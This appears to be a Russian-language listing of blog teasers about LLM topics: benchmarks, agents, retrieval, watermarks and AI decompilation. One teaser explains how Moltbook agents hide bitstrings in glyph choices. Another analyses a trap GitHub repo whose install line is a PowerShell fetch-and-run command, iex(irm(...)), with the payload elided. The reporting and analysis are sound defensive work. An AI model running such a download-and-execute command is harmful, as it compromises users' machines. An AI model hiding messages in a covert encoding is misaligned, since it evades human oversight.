llm.
Период полураспада бенчмарка ИИ сократился вдвое: 19 месяцев вместо 38
В мае я подал OenoBench, винный бенчмарк для языковых моделей, на NeurIPS. В дискуссии с ревьюерами всплыл вопрос, на который ни у меня, ни у них не было опоры: какой результат на релизе считать достаточным для нового бенчмарка и сколько он вообще проживёт.
Где мне пригодился OpenClaw, а где обычный код оказался лучше. 3 истории из практики
Последние несколько месяцев я довольно плотно занимаюсь агентом на OpenClaw и постепенно подключаю его к рабочим системам, добавляю инструменты, пробую автоматизировать разные процессы. Иногда все получается довольно быстро, а иногда приходится возвращаться к тому, что уже давно работало и разбираться почему оно вдруг начало ломаться.
Выбирать цитаты в ELM и находить ошибки поиска
Если вы делаете поиск по документам, можно ли отвечать только словами из источника и отказываться, когда ответа нет? В ELM я проверил этот способ без дообучения. При заданном абзаце выбор цитаты дал близкий к генерации общий счёт на моей выборке. Если абзац надо найти, результат зависит от поиска и последующего выбора строки судьёй.Отделить поиск от формулирования ответа
Ответ цитатой вместо генерации: проверяю поиск по документам
Если вы делаете поиск по документам, можно ли отвечать только словами из источника и отказываться, когда ответа нет? Я решил проверить, насколько далеко можно зайти с таким ограничением.Для этих экспериментов я разрабатываю собственную систему и называю её ELM. Это рабочее название моего проекта. Его основная идея: код предлагает варианты, нейросеть выбирает и проверяет их, а код собирает результат. В этой статье результатом служит цитата из документа либо отказ, если подходящий ответ не найден.
Чат, который ничего не сочиняет: 43 гипотезы, четыре ошибки замера и одна честная стена
Препринт этой работы пока не опубликован на arXiv: для подачи мне нужен endorsement в категории cs.CL (Computation and Language). Если у вас есть право выдавать endorsement в этой категории и вы готовы помочь, буду благодарен — напишите мне в личные сообщения на Хабре.Код, файлы результатов, meta прогонов и реестр гипотез целиком, включая отрицательные: https://github.com/ADanMan/elm-research. Репозиторий пока приватный. Планирую открыть исходники после публикации статей.
Зачем ИИ-агентам свои языки и можно ли их прочитать
⊕ = согласие, ⊖ = несогласие. Так выглядит один из самых простых «языков» из выборки постов соцсети для агентов Moltbook. Похоже на договоренность в чате отвечать плюсом и минусом ради экономии токенов. Казалось бы, ничего криминального.Но в той же выборке есть Symbiotica, и это скорее шифр, чем язык: 26 латинских букв заменили глифами из других письменностей, и текст читается по таблице. У пяти букв глифов по два, и оба читаются как одна и та же буква, а выбор между ними кодирует 0 или 1. Читатель, не знающий схемы, видит просто странные символы и не догадывается, что в их выборе спрятана битовая строка.
600 миллиардов токенов спустя: как мы управляли ИИ-агентами при декомпиляции шутера
Последние три месяца мы с ребятами из сообщества декомпилировали популярный шутер от первого лица. Точнее, декомпилировали ИИ-агенты, а мы ими управляли. Нам нужно было не просто доказать, что это в принципе возможно, а получить точную, стабильную и полнофункциональную реконструкцию игры на C++.
Текстовый водяной знак LLM: не нужно бояться, нужно знать
Anthropic и Google уже ввели, а OpenAI уже вводит в генерацию своих текстовых моделей водяные знаки.На хабре уже было достаточно хороших статей, поясняющих, как это работает: Как работает текстовый водяной знак в ClaudeКак работают текстовые ИИ-вотермарки и как их обходить
Техно‑аквариум в стиле адской Обители: запускаем локальную LLM Qwen 2.5 14B на домашнем ПК для интерактивного сайта
Пролог. Зачем Создатель создает? Сегодня уже никого не удивить нейросетью — из каждого утюга только о них и слышно. Хоть видео, текст, генерация кода. Уже приходится всматриваться в экран, чтобы понять: перед тобой настоящая фотография или работа ИИ. Народ и дома, и на работе вовсю позаводил себе локальные нейронки. Короче, решил и я не отставать.А зачем? Потому что могу. Или хочу узнать смогу ли. Для какой‑то самореализации, интересно пройти этот путь.
Мой бот прислал мне репо-ловушку с 1774 звёздами. Разобрал 321 репо из трендов и собрал два фильтра
У меня есть Telegram-бот, который каждое утро присылает пять трендовых репозиториев GitHub с trendshift.io. Под каждым кнопка: нажал, и бот выдаёт выжимку README, чтобы разобрать идею. Я читаю эту ленту каждый день и иногда ставлю то, что понравилось.26 сентября в ленте был «Microsoft Activation Scripts»: 1774 звезды, аккуратное описание, теги. Бот оформил его так же, как четыре соседних проекта, с той же кнопкой.Это была ловушка.Как она устроенаВ репозитории один файл, README. Аккаунт владельца создан за 94 секунды до репозитория. Команда установки выглядит так:iex(irm(-join"…"))

